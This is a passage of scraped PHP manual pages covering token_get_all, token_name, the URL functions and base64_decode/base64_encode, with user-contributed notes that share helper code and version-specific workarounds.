                                                  ';',
                                                  array(T_CLOSE_TAG, '?>') ); */

/* Note in the following example that the string is parsed as T_INLINE_HTML
   rather than the otherwise expected T_COMMENT (T_ML_COMMENT in PHP <5).
   This is because no open/close tags were used in the "code" provided.
   This would be equivalent to putting a comment outside of <?php ?> tags in a normal file. */
$tokens = token_get_all('/* comment */'); // => array(array(T_INLINE_HTML, '/* comment */'));
?>

Changelog

Version | Description
5.2.2 | Line numbers are returned in element 2

User Contributed Notes

gomodo at free dot fr 02-Aug-2009 07:08
Yes, some problems (On WAMP, PHP 5.3.0 ) with get_token_all()

1 : bug line numbers
 Since PHP 5.2.2 token_get_all()  should return Line numbers in element 2..
.. but for instance (5.3.0 on WAMP), it work perfectly only with PHP code (not HMTL miwed), but if you have some T_INLINE_HTML detected by token_get_all() ,  sometimes you find wrongs line numbers  (return next line)... :(

2: bug warning message can impact loops
Warning with php code uncompleted (ex : php code line by line) :
for example if a comment tag is not closed  token_get_all()  can block loops on this  warning :
Warning: Unterminated comment starting line

This problem seem not occur in CLI mod (php command line), but only in web mod.

Waiting more stability, used token_get_all()  only on PHP code (not HMTL miwed) :
First extract entirely PHP code (with open et close php tag),
Second use token_get_all()  on the pure PHP code.

3 : Why there not function to extract PHP code (to extract HTML, we have Tidy..)?

Waiting, I used a function :

The code at end this post :
http://www.developpez.net/forums/d786381/php/langage/
fonctions/analyser-fichier-php-token_get_all/

This function not support :
- Old notation :  "<?  ?>" and "<% %>"
- heredoc syntax
- nowdoc syntax (since PHP 5.3.0)
Dennis Robinson from basnetworks dot net 29-Jun-2009 06:24
I wanted to use the tokenizer functions to count source lines of code, including counting comments.  Attempting to do this with regular expressions does not work well because of situations where /* appears in a string, or other situations.  The token_get_all() function makes this task easy by detecting all the comments properly.  However, it does not tokenize newline characters.  I wrote the below set of functions to also tokenize newline characters as T_NEW_LINE.

<?php

define('T_NEW_LINE', -1);

function token_get_all_nl($source)
{
    $new_tokens = array();

    // Get the tokens
    $tokens = token_get_all($source);

    // Split newlines into their own tokens
    foreach ($tokens as $token)
    {
        $token_name = is_array($token) ? $token[0] : null;
        $token_data = is_array($token) ? $token[1] : $token;

        // Do not split encapsed strings or multiline comments
        if ($token_name == T_CONSTANT_ENCAPSED_STRING || substr($token_data, 0, 2) == '/*')
        {
            $new_tokens[] = array($token_name, $token_data);
            continue;
        }

        // Split the data up by newlines
        $split_data = preg_split('#(\r\n|\n)#', $token_data, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);

        foreach ($split_data as $data)
        {
            if ($data == "\r\n" || $data == "\n")
            {
                // This is a new line token
                $new_tokens[] = array(T_NEW_LINE, $data);
            }
            else
            {
                // Add the token under the original token name
                $new_tokens[] = is_array($token) ? array($token_name, $data) : $data;
            }
        }
    }

    return $new_tokens;
}

function token_name_nl($token)
{
    if ($token === T_NEW_LINE)
    {
        return 'T_NEW_LINE';
    }

    return token_name($token);
}

?>

Example usage:

<?php

$tokens = token_get_all_nl(file_get_contents('somecode.php'));

foreach ($tokens as $token)
{
    if (is_array($token))
    {
        echo (token_name_nl($token[0]) . ': "' . $token[1] . '"<br />');
    }
    else
    {
        echo ('"' . $token . '"<br />');
    }
}

?>

I'm sure you can figure out how to count the lines of code, and lines of comments with these functions.  This was a huge improvement on my previous attempt at counting lines of code with regular expressions.  I hope this helps someone, as many of the user contributed examples on this website have helped me in the past.
kevin at metalaxe dot com 26-Apr-2008 11:58
Rogier, thanks for that fix. This bug still exists in php 5.2.5. I did notice though that it is possible for a notice to pop up from your code. Changing this line:

            $temp[] = $tokens[0][2];

To read this:

            $temp[] = isset($tokens[0][2])?$tokens[0][2]:'unknown';

fixes this notice.
rogier 10-Jan-2008 08:01
Complementary note to code below:
Note that only the FIRST 2 (or 3, if needed) array elements will be updated.

Since I only encountered incorrect results on the FIRST occurence of T_OPEN_TAG, I wrote this quick fix.
Any other following T_OPEN_TAG are, on my testing system (Apache 2.0.52, PHP 5.0.3), parsed correctly.

So, This function assumes only a possibly incorrect first T_OPEN_TAG.
Also, this function assumes the very first element (and ONLY the first element) of the token array to be the possibly incorrect token.
This effectively translates to the first character of the tokenized source to be the start of a php script opening tag '<', followed by either 'php' OR '%' (ASP_style)
nicolas dot grekas+php at gmail dot com 03-Dec-2007 10:10
Well, there is a way to parse for errors. See
http://www.php.net/manual/function.php-check-syntax.php#77318


Get the symbolic name of a given PHP token

  • « token_get_all
  • URLs »
  • PHP Manual
  • Tokenizer Functions
  • Get the symbolic name of a given PHP token

token_name

(PHP 4 >= 4.2.0, PHP 5)

token_name — Get the symbolic name of a given PHP token

Description

string token_name ( int $token )

token_name() gets the symbolic name for a PHP token value.

Parameters

token

The token value.

Return Values

The symbolic name of the given token.

Examples

Example #1 token_name() example

<?php
// 260 is the token value for the T_EVAL token
echo token_name(260);        // -> "T_EVAL"

// a token constant maps to its own name
echo token_name(T_FUNCTION); // -> "T_FUNCTION"
?>

See Also

  • List of Parser Tokens

User Contributed Notes

There are no user contributed notes for this page.


URLs

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • URL Functions
    • base64_decode — Decodes data encoded with MIME base64
    • base64_encode — Encodes data with MIME base64
    • get_headers — Fetches all the headers sent by the server in response to a HTTP request
    • get_meta_tags — Extracts all meta tag content attributes from a file and returns an array
    • http_build_query — Generate URL-encoded query string
    • parse_url — Parse a URL and return its components
    • rawurldecode — Decode URL-encoded strings
    • rawurlencode — URL-encode according to RFC 3986
    • urldecode — Decodes URL-encoded string
    • urlencode — URL-encodes string

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Dealing with URL strings: encoding, decoding and parsing.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following constants are meant to be used with parse_url() and are available since PHP 5.1.2.

PHP_URL_SCHEME (integer)
PHP_URL_HOST (integer)
PHP_URL_PORT (integer)
PHP_URL_USER (integer)
PHP_URL_PASS (integer)
PHP_URL_PATH (integer)
PHP_URL_QUERY (integer)
PHP_URL_FRAGMENT (integer)
PHP_QUERY_RFC1738 (integer)
PHP_QUERY_RFC3986 (integer)

User Contributed Notes

There are no user contributed notes for this page.


URL Functions

Table of Contents

  • base64_decode — Decodes data encoded with MIME base64
  • base64_encode — Encodes data with MIME base64
  • get_headers — Fetches all the headers sent by the server in response to a HTTP request
  • get_meta_tags — Extracts all meta tag content attributes from a file and returns an array
  • http_build_query — Generate URL-encoded query string
  • parse_url — Parse a URL and return its components
  • rawurldecode — Decode URL-encoded strings
  • rawurlencode — URL-encode according to RFC 3986
  • urldecode — Decodes URL-encoded string
  • urlencode — URL-encodes string

User Contributed Notes

martin at limitless dot co dot uk 24-Jul-2006 05:31
Each %xx represents a letter. You would need to remove %68%74%74%70%3a%2f%2f (http://) from the beginning.
dday at cnscorp dot com 24-Jun-2005 07:22
When using a multiple select on a form, I ran into a little issue of only receiving the last value form the select box.
I had a select box named organization_id with two values (92 and 93).
To get the values of both, I had to use the following:

    $temp_array = split("&", $_SERVER['QUERY_STRING']);
    foreach($temp_array as $key=>$value){
        if(substr($value, 0, 15) == "organization_id"){
            $_GET['organizations'][] = substr($value, 15, strlen($value));
        }
    }

this results in a $_GET array like this :

(
    [page] => idea_submission
    [organization_id] => 93
    [organizations] => Array
        (
            [0] => =92
            [1] => =93
        )

)
php at malaker dot com 17-Dec-2003 12:25
Following method do not show the URL in user browser (as the author claimed) if the code resides in the source page of  FRAME or IFRAME (say SRC="sourcepage.php") . In that case the URL of the SOURCE page is displayed.

$url = sprintf("%s%s%s","http://",$HTTP_HOST,$REQUEST_URI);
echo "$url";

Expected result: http://localhost/urltest/framedpage.php

Actual result: http://localhost/urltest/sourcepage.php
chemanfit at hotmail 07-Jun-2003 02:24
just a side note to the above you will need to add the ?

example

$page=$PHP_SELF."?".$_SERVER['QUERY_STRING'];
ignacio paz posse 13-Mar-2003 02:31
Note on the above: the point is that is that using $_SERVER['QUERY_STRING'] along with $PHP_SELF we will have passed whatever variables are already appended (as they might be needed for database queries)

example, given the following url: http://www.your_domain/somepage.php?variable=1;

using $PHP_SELF" we are passing
[scheme]:(http://), [host]: www.your_domain/  and [path]: somepage.php

adding $_SERVER['QUERY_STRING'], we pass that, plus [query]: variable=1
ignacio 12-Mar-2003 07:16
/*
May be this is obvious but helps me since I found it:
If I want to append a variable to the url and pass it to the same page. ( in this example I'm using action=email to include an email form on the user click) i do:
*/

// ...

<a href="<? echo $PHP_SELF,'?',$_SERVER['QUERY_STRING'],'&action=email' ?>">email to us</a>

// ...

/* somewhere in the the page (in my case at the bottom) I have: */

<? if ($action=='email') include('emailForm.htm'); ?>
jrg45 at pantheon dot yale dot edu 10-Jul-2002 11:14
Note that $_SERVER["HTTP_REFERER"] may not include GET data that was included in the referring address, depending on the browser.  So if you rely on GET variables to generate a page, it's not a good idea to use HTTP_REFERER to smoothly "bounce" someone back to the page he/she came from.
postmaster at asmatic dot ch 29-Apr-2002 06:15
If you want to get the filename requested on a global error page like a 404, just use this code...

// get the full var...
$page = $HTTP_SERVER_VARS["QUERY_STRING"];

// part[1] is the url...
// part[0] is the http code (404, etc).
if(strpos($page,";")>0) {
   $pageParts = explode(";",$page);
   $page = $pageParts[1];
}

// get only the filename...
$page = basename($page);
stephane-wantiez at tiscalinet dot be 07-Feb-2002 03:29
if you do this, it will be easier :
echo "http://{$HTTP_HOST}{$REQUEST_URI}";
verdy_p at wanadoo dot fr 26-May-2001 07:47
Note also that the URL shown in $HTTP_REFERER is not always the URL of the web page where the user clicked to invoke the PHP script.
This may instead be a document of your own web site, which contains an HTML element whose one attribute references the script. Note also that the current page fragment (#anchor) may be transmitted or not with the URL, depending on the browser.
Examples:
<FRAME src="your-page-script.php"8>
<IMAGE src="your-image-script.php">

In such case, browsers should transmit the URL of the container document, but some still persist in using the previous document in the browser history, and this could cause a different $HTTP_REFERER value be sent when the user comes back to the document referencing your script. If you wanna be sure that the actual current document or previous document in the history is sent, use client-side JavaScript to send it to your script:

<SCRIPT language="JavaScript"><!--
document.writeln('<FRAME src="your-page-script.php?js=1&amp;ref=' +
document.location + '">');
--></SCRIPT><NOSCRIPT>
<FRAME src="your-page-script.php?js=0">
</NOSCRIPT>

And then check the value of $js in your page script to generate appropriate content when the remote user agent does not support client-side scripts (such as most index/scan robots, some old or special simplified browsers, or browsers with JavaScript disabled by their users).
verdy_p at wanadoo dot fr 26-May-2001 06:55
Warning: when the PHP engine runs for your hosted web site, it may execute on a domain name which is completely different than the one the user requested in its browser. Many free web hosting site use proxies and/or multiple DNS entries for your hosted web site. This means that:
- the IP of the web server can change if multiple DNS entries are present (there may be several web servers running concurrently)
- reverse DNS name from the IP may give different domain name over time, or if the domain name is a CNAME only for a virtual web server hosting many domains
- the server running PHP may be different than the web server
- the web server may be hidden behind a proxy which balances the load between a farm of servers
- the queried host name in the HTTP headers may be different than the queried host name in the browser, if behind a redirecting proxy
- the actual path name of the ressource may be also different, with additional path elements: this is very common on free hosting servers, where you get a virtual CNAME domain, which gets translated by a proxy into an actual web server, and a domain-specific document root directory

So when thinking about using absolute path names you can retreive from PHP, beware that this may not be accurate to insert as absolute URL's in the HTML code built with PHP.

The best solution is then to ALWAYS USE relative URLs to reference documents and form scripts on your local server !

This applies to $PHP_SELF too, because it's an absolute pathname: don't use it directly but you can safely use basename($PHP_SELF) to reference your script within HTML forms:

<?
$self=basename($PHP_SELF);
?>
<HTML><HEAD>
...
</HEAD><BODY>
<FORM method="GET" action="$self">
...
</FORM>
</BODY></HTML>
tumor at kkt dot bme dot hu 01-Apr-2000 07:18
To check if a URL is valid, try to fopen() it. If fopen() results an error (returns false), then PHP cannot open the URL you asked. This is usually because it is not valid...


Decodes data encoded with MIME base64

  • « URL Functions
  • base64_encode »
  • PHP Manual
  • URL Functions
  • Decodes data encoded with MIME base64

base64_decode

(PHP 4, PHP 5)

base64_decode — Decodes data encoded with MIME base64

Description

string base64_decode ( string $data [, bool $strict = false ] )

Decodes a base64 encoded data.

Parameters

data

The encoded data.

strict

Returns FALSE if input contains character from outside the base64 alphabet.

Return Values

Returns the original data or FALSE on failure. The returned data may be binary.

Changelog

Version | Description
5.2.0 | strict added

Examples

Example #1 base64_decode() example

<?php
$str = 'VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==';
echo base64_decode($str);
?>

The above example will output:

This is an encoded string

See Also

  • base64_encode() - Encodes data with MIME base64
  • » RFC 2045 section 6.8

User Contributed Notes

nicolem2005 at gmail dot com 24-Aug-2011 02:17
base64_decode seems to fail when decoding big files/strings. I had an issue decoding a 7MB image file. Here is a solution that worked for me:

$decodedstring=base64_decode(chunk_split($encodedstring));
mekal 31-May-2011 02:57
If you want to save data that is derived from a Javascript canvas.toDataURL() function, you have to convert blanks into plusses. If you do not do that, the decoded data is corrupted:

<?php
  $encodedData = str_replace(' ','+',$encodedData);
  $decocedData = base64_decode($encodedData);
?>

merci..........
winkelnkemper at googlemail dot com 27-Jan-2011 01:25
If you want to save data that is derived from a Javascript canvas.toDataURL() function, you have to convert blanks into plusses. If you do not do that, the decoded data is corrupted:

<?php
  $encodedData = str_replace(' ','+',$encodedData);
  $decocedData = base64_decode($encodedData);
?>
martinstaemmler at gmx dot net 18-Aug-2009 06:05
I had some trouble trying to let base64_decode decode base64-strings longer than ~5k chars.

The base64-decoding function is a homomorphism between modulo 4 and modulo 3-length segmented strings. That motivates a divide and conquer approach: Split the encoded string into substrings counting modulo 4 chars, then decode each substring and concatenate all of them.

Then instead of

<?php $decoded = base64_decode($encoded); ?>

for big $encoded strings, it's saver to use

<?php
$decoded = "";
for ($i=0; $i < ceil(strlen($encoded)/256); $i++)
   $decoded = $decoded . base64_decode(substr($encoded,$i*256,256));
?>

where 256 can be replaced by a sufficiently small modulo 4 natural.
dimagolov at yahoo dot com 10-Jul-2009 08:44
Here is function to decode Base 62 (see http://en.wikipedia.org/wiki/Base_62) string to number. It is used by MTA in message id, e.g. by Exim
<?php
function base62_decode($str) {
    $ret= 0;
    for ($i= 0, $l= strlen($str); $i < $l; $i++) {
        $val= ord($str[$i]);
        if (ctype_digit($str[$i]))
            $val-= ord('0');
        else if (ctype_upper($str[$i]))
            $val-= ord('A') - 10;
        else if (ctype_lower($str[$i]))
            $val-= ord('a') - 36;
        else
            $val= 0;
        $ret= $ret * 62 + $val;
    }
    return $ret;
}
?>
mcalwell 09-Apr-2009 06:20
I had a problem testing whether an imap message body was base64 encoded on a pre 5.2.* server.  I had been using this function on a post 5.2 server.

I found that the function imap_base64() returns FALSE on failing to decode a string, and that I could use that to check instead.

<?php
if(imap_base64($body)) $body = imap_base64($body);
?>
alvaro at demogracia dot com 05-Dec-2008 10:11
You can do partial decoding (e.g. from buffered input streams) if you choose a chunk length that is multiple of 4:

<?php

$encoded = base64_encode('The quick brown fox jumps over the lazy dog');
for($i=0, $len=strlen($encoded); $i<$len; $i+=4){
    echo base64_decode( substr($encoded, $i, 4) );
}

?>

4 encoded chars represent 3 original chars. The "=" character is used as padding.
twm at twmacinta dot com 10-Jul-2008 05:38
To follow up on Starson's post, PHP was changed to no longer treat a space as if it were a plus sign in CVS revision 1.43.2.1, which corresponds to PHP 5.1.0.  You can see what happened with a diff to branch point 1.43 at:

http://cvs.php.net/viewvc.cgi/php-src/ext/standard/base64.c

The CVS log indicates that this change was made to fix bug #34214 (base64_decode() does not properly ignore whitespace).

It would seem from the comment preceding the code which was removed that the treatment of the space as if it were the plus sign was actually intentional at one time:

    When Base64 gets POSTed, all pluses are interpreted as spaces.
    This line changes them back.  It's not exactly the Base64 spec,
    but it is completely compatible with it (the spec says that spaces
    are invalid).  This will also save many people considerable
    headache.

    if (ch == ' ') ch = '+';

However, RFC 3548 states that characters not in the Base64 alphabet should either be ignored or cause the implementation to reject the encoding and RFC 2045 says they should be ignored.  So the original code was unfortunately not fully compatible with the spec or other implementations.  It may have also masked problems with code not properly escaping POST variables.
debug 27-Feb-2008 09:39
@morgangalpin att gmail dotty com

A better implementation would be the following regular expression:

^[a-zA-Z0-9/+]*={0,2}$

Which will also detect the usage of = or == at the end of the string (and only end).

If this regex isn't following proper RFC guidelines, please comment on it.

A function geared specifically toward this:

<?php

function is_base64_encoded()
    {
        if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $data)) {
            return TRUE;
        } else {
            return FALSE;
        }
    };

is_base64_encoded("iash21iawhdj98UH3"); // true
is_base64_encoded("#iu3498r"); // false
is_base64_encoded("asiudfh9w=8uihf"); // false
is_base64_encoded("a398UIhnj43f/1!+sadfh3w84hduihhjw=="); // true

?>
zmorris at zsculpt dot com 10-Nov-2007 11:22
Here is a drop-in replacement for base64_decode(), based on a faster version of morgangalpin's code:

<?php
// workaround for bug in php 4.3.11 through 4.4.7, 5.1.2 through 5.2.4 and perhaps others (http://bugs.php.net/bug.php?id=37244)
function    base64_decode_fix( $data, $strict = false )
{
    if( $strict )
        if( preg_match( '![^a-zA-Z0-9/+=]!', $data ) )
            return( false );

    return( base64_decode( $data ) );
}
?>
morgangalpin att gmail dotty com 14-Aug-2007 02:25
I was having trouble with base64_decode returning false if the data to be decoded wasn't actually encoded. It turns out that it is a bug that exists in PHP version 5.1.2, which I'm using, but it has been fixed in CVS. The relevant bug is: http://bugs.php.net/bug.php?id=37244 "base64_decode violates RFC 3548". The fix may become available in 5.2.4 or 6 or whatever is coming next.

Since I'm not able to upgrade PHP to the latest version, I needed a way to check if some data had actually been encoded before trying to decode it. Here is the function I've used; I hope it helps someone.

<?php
  /**
   * Check a string of base64 encoded data to make sure it has actually
   * been encoded.
   *
   * @param $encodedString string Base64 encoded string to validate.
   * @return Boolean Returns true when the given string only contains
   * base64 characters; returns false if there is even one non-base64 character.
   */
  function checkBase64Encoded($encodedString) {
    $length = strlen($encodedString);

    // Check every character.
    for ($i = 0; $i < $length; ++$i) {
      $c = $encodedString[$i];
      if (
        ($c < '0' || $c > '9')
        && ($c < 'a' || $c > 'z')
        && ($c < 'A' || $c > 'Z')
        && ($c != '+')
        && ($c != '/')
        && ($c != '=')
      ) {
        // Bad character found.
        return false;
      }
    }
    // Only good characters found.
    return true;
  }
?>
Tom 06-Dec-2006 07:23
This function supports "base64url" as described in Section 5 of RFC 4648, "Base 64 Encoding with URL and Filename Safe Alphabet"

    <?php
    function base64url_decode($base64url)
    {
        $base64 = strtr($base64url, '-_', '+/');
        $plainText = base64_decode($base64);
        return ($plainText);
    }
    ?>
Starson 19-Sep-2006 03:23
To expand on Jes' post:

The change took place between 5.0.5 and 5.1.0.  Exactly where I don't know or care.

In short php <= 5.0.5's base64_decode( $string ) will assume that a space is meant to be a + sign where php >= 5.1.0's base64_decode( $string ) will no longer make that assumption.  I did not see this noted in the change log.

Please note that, as of this writing, mb_convert_encoding( $string, "UTF-8", "BASE64" ) still behaves as base64_decode( $string ) did in php <= 5.0.5 regardless of the version of php you are running.
Jes 30-Aug-2006 05:31
I've come across an interesting issue with an external program that submits a gzcompressed base64_encoded string to PHP via POST. The external program encodes the string using the occasional " " (space) character, however if I encode the same original string within PHP (using base64_encode), it uses a "+" (plus) character wherever the external program would use a space. On my deployed machine, running PHP 4.3.9, base64_decode is fine with the " " (space) characters, but my test server running 5.1.4 is not. It took me a while to figure out that was the issue, but I ended up fixing it with a simple:

<?php

$post_data = str_replace(" ","+",$_POST['string'])

?>

This fix works on both the 4.3.9 and 5.1.4 machines. I am sure that the external program is probably not conforming to the standard, and it isn't a PHP problem per-se; but incase anybody else ever runs into that.
paul at ijsfontein dot nl 10-Jun-2004 03:04
The user notes posted here helped me a lot in writing the PHP code to upload uuencoded files to a server using $_POST. Hardest thing to figure out was why the files came out scrambled and corrupted. After comparing the original file with the file reconstructed by the uudecode script, I found out that a simple "stripcslashes" on the posted data will do the trick.

So, to upload any kind of uuencoded file using a POST:
1. send the raw file data to the PHP script
2. $uuencoded_data = stripcslashes($_POST['filedata']);
3. strip the marker lines from $uuencoded_data (first line, last line and second last line of the data. Each line is seperated by a LF (chr(10)) character.)
4. $decoded_data = uudecode($stripped_uuencoded_data); (this function can be found in the user notes here).
5. Use the script provided in one of the user notes on this page to write the decoded data to a binary file.

That should do the trick!
tobias at silverxnet dot de 23-Dec-2003 09:16
I was wondering how to decode attached images within mails. Basically they are mostly JPEG files, so it was obviously to write a function that decodes JPEG images.
I guess the plainest way to do so was the following:

<?php
function base64_to_jpeg( $inputfile, $outputfile ) {
  /* read data (binary) */
  $ifp = fopen( $inputfile, "rb" );
  $imageData = fread( $ifp, filesize( $inputfile ) );
  fclose( $ifp );
  /* encode & write data (binary) */
  $ifp = fopen( $outputfile, "wb" );
  fwrite( $ifp, base64_decode( $imageData ) );
  fclose( $ifp );
  /* return output filename */
  return( $outputfile );
}
?>

This function decodes the given inputfile (a filename!) and saves it to the given outputfile (a filename as well) and then returns the output filename for further usage (e.g. redirect, imagejpeg() and so on).
I thought that might be helpful.
Klaus Fehrenbacher 17-Apr-2003 01:05
this script can correct the bug

<?php
$enc = chunk_split(preg_replace('!\015\012|\015|\012!','',$enc));
$enc = base64_decode($enc);
?>
nsayer at kfu dot com 21-Mar-2002 10:15
I used to do uudecode as a C module, but I've discovered a really fast way to do it in PHP. Here it is:

<?php
function uudecode($encode) {
  $b64chars="ABCDEFGHIJKLMNOPQRSTUVWXYZ\
abcdefghijklmnopqrstuvwxyz0123456789+/";

  $encode = preg_replace("/^./m","",$encode);
  $encode = preg_replace("/\n/m","",$encode);
  for($i=0; $i<strlen($encode); $i++) {
    if ($encode[$i] == '`')
      $encode[$i] = ' ';
    $encode[$i] = $b64chars[ord($encode[$i])-32];
  }

  while(strlen($encode) % 4)
    $encode .= "=";

  return base64_decode($encode);
}
?>

This is the PHP equivalent to perl's unpack("u",___). That is, you need to strip the 'begin' and 'end' lines from the typical uuencoded file.


Encodes data with MIME base64

  • « base64_decode
  • get_headers »
  • PHP Manual
  • URL Functions
  • Encodes data with MIME base64

base64_encode

(PHP 4, PHP 5)

base64_encode — Encodes data with MIME base64

Description

string base64_encode ( string $data )

Encodes the given data with base64.

This encoding is designed to make binary data survive transport through transport layers that are not 8-bit clean, such as mail bodies.

Base64-encoded data takes about 33% more space than the original data.

Parameters

data

The data to encode.

Return Values

The encoded data, as a string or FALSE on failure.

Examples

Example #1 base64_encode() example

<?php
$str = 'This is an encoded string';
echo base64_encode($str);
?>

The above example will output:

VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==

See Also

  • base64_decode() - Decodes data encoded with MIME base64
  • chunk_split() - Split a string into smaller chunks
  • convert_uuencode() - Uuencode a string
  • » RFC 2045 section 6.8

User Contributed Notes

Naser Mirzaei 24-Jun-2014 06:30
<?php
$image = 'example.png';

// Read image path, convert to base64 encoding
$imageData = base64_encode(file_get_contents($image));

// Format the image SRC:  data:{mime};base64,{data};
$src = 'data: '.mime_content_type($image).';base64,'.$imageData;

// Echo out a sample image
echo "<img src=\"$src\" alt=\"\" />";
?>
nishantmathur62 at gmail dot com 15-Oct-2013 03:25
<?php
$file="test.jpg";
$file_cont=file_get_contents($file);
$image=base64_encode($file_cont);
$src = 'data:;base64,'.$image;

if(copy($src,'test2.jpg'))
  {
      echo "success";
  }
  else
  {
      echo "Error";
  }
?>
Hayley Watson 16-Apr-2013 08:35
Base64 encoding of large files.

Base64 encoding converts triples of eight-bit symbols into quadruples of six-bit symbols. Reading the input file in chunks that are a multiple of three bytes in length results in a chunk that can be encoded independently of the rest of the input file. MIME additionally enforces a line length of 76 characters plus the CRLF. 76 characters is enough for 19 quadruples of six-bit symbols thus representing 19 triples of eight-bit symbols. Reading 57 eight-bit symbols provides exactly enough data for a complete MIME-formatted line. Finally, PHP's default buffer size is 8192 bytes - enough for 143 MIME lines' worth of input.

So if you read from the input file in chunks of 8151 (=57*143) bytes you will get (up to) 8151 eight-bit symbols, which encode as exactly 10868 six-bit symbols, which then wrap to exactly 143 MIME-formatted lines. There is no need to retain left-over symbols (either six- or eight-bit) from one chunk to the next. Just read a chunk, encode it, write it out, and go on to the next chunk. Obviously the last chunk will probably be shorter, but encoding it is still independent of the rest.

<?php

while(!feof($input_file))
{
    $plain = fread($input_file, 57 * 143);
    $encoded = base64_encode($plain);
    $encoded = chunk_split($encoded, 76, "\r\n");
    fwrite($output_file, $encoded);
}

?>

Conversely, each 76-character MIME-formatted line (not counting the trailing CRLF) contains exactly enough data for 57 bytes of output without needing to retain leftover bits that need prepending to the next line. What that means is that each line can be decoded independently of the others, and the decoded chunks can then be concatenated together or written out sequentially. However, this does make the assumption that the encoded data really is MIME-formatted; without that assurance it is necessary to accept that the base64 data won't be so conveniently arranged.
Gerard 23-Jan-2013 10:31
To make base64_encode encode a URL safe string compatible with .net HttpServerUtility.UrlTokenEncode function use this:

<?php
url_safe_base64_encode($string)
  {
    #First base64 encode
    $data = base64_encode($string);

    #Base64 strings can end in several = chars. These need to be translated into a number
    $no_of_eq = substr_count($data, "=");
    $data = str_replace("=", "", $data);
    $data = $data.$no_of_eq;

    #Then replace all non-url safe characters
    $data = str_replace(array('+','/'),array('-','_'),$data);
    return $data;
  }
?>
luke at lukeoliff.com 02-Aug-2011 06:27
A function I'm using to return local images as base64 encrypted code, i.e. embedding the image source into the html request.

This will greatly reduce your page load time as the browser will only need to send one server request for the entire page, rather than multiple requests for the HTML and the images. Requests need to be uploaded and 99% of the world are limited on their upload speed to the server.

<?php
function base64_encode_image ($filename=string,$filetype=string) {
    if ($filename) {
        $imgbinary = fread(fopen($filename, "r"), filesize($filename));
        return 'data:image/' . $filetype . ';base64,' . base64_encode($imgbinary);
    }
}
?>

used as so

<style type="text/css">
.logo {
    background: url("<?php echo base64_encode_image ('img/logo.png','png'); ?>") no-repeat right 5px;
}
</style>

or

<img src="<?php echo base64_encode_image ('img/logo.png','png'); ?>"/>
markrose at markrose dot ca 08-Jul-2011 12:15
An even faster way to line-breaks every 64th character is using the chunk_split function:

<?php
$string = chunk_split(base64_encode($string), 64, "\n");
?>
gutzmer at usa dot net 06-May-2011 06:12
For anyone interested in the 'base64url' variant encoding, you can use this pair of functions:

<?php
function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
?>
andronick(dot)mail(dog)gmail(dot)com 10-Sep-2010 03:28
output images into html:

<?php

$imgfile = "test.gif";

$handle = fopen($filename, "r");

$imgbinary = fread(fopen($imgfile, "r"), filesize($imgfile));

echo '<img src="data:image/gif;base64,' . base64_encode($imgbinary) . '" />';

?>

gif - data:image/gif;base64,...
jpg - data:image/jpeg;base64,...
png - data:image/png;base64,...
etc.
jonb at wobblymusic dot com 06-Sep-2009 09:21
Note that some applications, such as OpenSSL's enc command, require that there be a line break every 64 characters in order for their base64 decode function to work. The following function will take care of this problem:

<?php
function ($encodeMe) {
    $data = base64_encode($encodeMe);
    $datalb = "";
    while (strlen($data) > 64) {
        $datalb .= substr($data, 0, 64) . "\n";
        $data = substr($data,64);
    }
    $datalb .= $data;
    return $datalb;
}
?>
MitMacher 07-Aug-2009 11:57
Unfortunately my "function" for encoding base64 on-the-fly from 2007 [which has been removed from the manual in favor of this post] had 2 errors!
The first led to an endless loop because of a missing "$feof"-check, the second caused the rare mentioned errors when encoding failed for some reason in larger files, especially when
setting fgets($fh, 2) for example. But lower values then 1024 are bad overall because they slow down the whole process, so 4096 will be fine for all purposes, I guess.
The error was caused by the use of "empty()".

Here comes the corrected version which I have tested for all kind of files and length (up to 4,5 Gb!) without any error:

<?php
$fh = fopen('Input-File', 'rb');
//$fh2 = fopen('Output-File', 'wb');

$cache = '';
$eof = false;

while (1) {

    if (!$eof) {
        if (!feof($fh)) {
            $row = fgets($fh, 4096);
        } else {
            $row = '';
            $eof = true;
        }
    }

    if ($cache !== '')
        $row = $cache.$row;
    elseif ($eof)
        break;

    $b64 = base64_encode($row);
    $put = '';

    if (strlen($b64) < 76) {
        if ($eof) {
            $put = $b64."\n";
            $cache = '';
        } else {
            $cache = $row;
        }

    } elseif (strlen($b64) > 76) {
        do {
            $put .= substr($b64, 0, 76)."\n";
            $b64 = substr($b64, 76);
        } while (strlen($b64) > 76);

        $cache = base64_decode($b64);

    } else {
        if (!$eof && $b64{75} == '=') {
            $cache = $row;
        } else {
            $put = $b64."\n";
            $cache = '';
        }
    }

    if ($put !== '') {
        echo $put;
        //fputs($fh2, $put);
        //fputs($fh2, base64_decode($put));        // for comparing
    }
}

//fclose($fh2);
fclose($fh);
?>
pablo at compuar dot com 31-Dec-2008 12:46
If you want to send a very long value over URL, you might consider using base64_encode, and discover that IE6 only supports 2000 or so chars.

So, Using a little bit of magic you can do this and be happy:

<?php
$string = 'Blah';

$encoded = strtr(base64_encode(addslashes(gzcompress(serialize($string),9))), '+/=', '-_,');

 $string= unserialize(gzuncompress(stripslashes(base64_decode(strtr($encoded, '-_,', '+/=')))));

?>
gglockner AT NOSPAMdwaffler DOT com 20-Sep-2008 05:21
I omitted the strtr functions in my examples.  Here are corrected functions:

<?php
function encode($x) {
    return strtr(base64_encode(substr($_SESSION['Cksum'],rand(0,28),4) . $x), '+/=', '-_~');
}

function decode($x) {
    $y = base64_decode(strtr($x, '-_~', '+/='));
    if (strpos($_SESSION['Cksum'],substr($y,0,4)) === false) return false;
    return substr($y,4-strlen($y));
}
?>
gglockner AT NOSPAMdwaffler DOT com 19-Sep-2008 03:35
